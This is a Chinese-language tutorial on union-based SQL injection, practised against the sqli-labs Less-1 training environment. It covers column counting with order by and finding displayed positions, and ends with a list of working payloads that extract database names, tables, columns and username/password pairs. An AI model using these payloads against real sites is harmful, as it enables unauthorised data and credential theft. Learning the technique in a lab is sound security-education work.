对 SQL 注入有一个大致的了解后,我们再来深入学习。
SQL 注入有联合查询注入、报错注入、布尔盲注、时间盲注等,这一节学习联合查询注入。
概念
union 联合查询注入是指注入时用 union 操作符进行数据获取,比如:1' union select * from users --
要注意的是 union 的 select 语句必须拥有相同数量的列(在上一节也有提到),列也必须拥有相似的数据类型,包括列的顺序也要相同。
下面的 select 语句都返回一列,是可以执行的:
select first_name from users
union
select last_name from uses
列数不同就无法执行了:
select first_name, age from users
union
select last_name from uses
注入过程
union 注入有一个前提是页面必须要有回显,没有回显哪怕可以注入也看不到返回的数据。
- order by 确定列数,原因上面已经讲过了
- 判断可以显示数据的位置
- 获取数据
看上去挺简单的,下面直接上实验环境体验一下
练习
这里用到的是 sqli-labs,还没有安装的可以参考 sqli-labs 的安装
我们进入 less-1,页面上写着要我们输入 ID,那我们在地址栏 URL 后面加上: ?id=1,回车,可以看到页面显示了 name 和 password
用 order by 确认输入 ID 后后端返回的列数:?id=1' order by 10,先给一个大一点的数字,这里是 10,页面会显示:Unknown column '10' in 'order clause',然后用二分法当 order by 3 的时候页面正常,说明列数有3列
接着确认显位:?id=-1' union select 1,2,3 --+,找不到 ID 为 -1 的数据,页面显示不了,就会往后面的语句找,可以看到后面语句的2和3显示在了页面上,所以后面我们要获取的数据要放在2和3的位置上
比如你想获取?id=-1' union select database(), version(), user(),但 database() 的数据你就拿不到了,因为它不会显示出来确认了显位就很简单了,学习了 mysql 就可以用 mysql 语句获取自己想要的数据
常用语句
- 数据库名,版本,用户名:
?id=-1' union select database(), version(), user()
- 所有库
?id=-1' union select 1,2,(select group_concat(schema_name) from information_schema.schemata) --+
- 当前数据库的表
?id=-1' union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=database()) --+
- 某个表的字段
?id=-1' union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name='users') --+
- 某个字段的数据
?id=-1' union select 1,2,group_concat(concat_ws('--',username,password)) from users --+
Tips
一个关于 union 的语法规则:
只有最后一个 select 子句允许有 order by 和 limit,使用顺序要注意。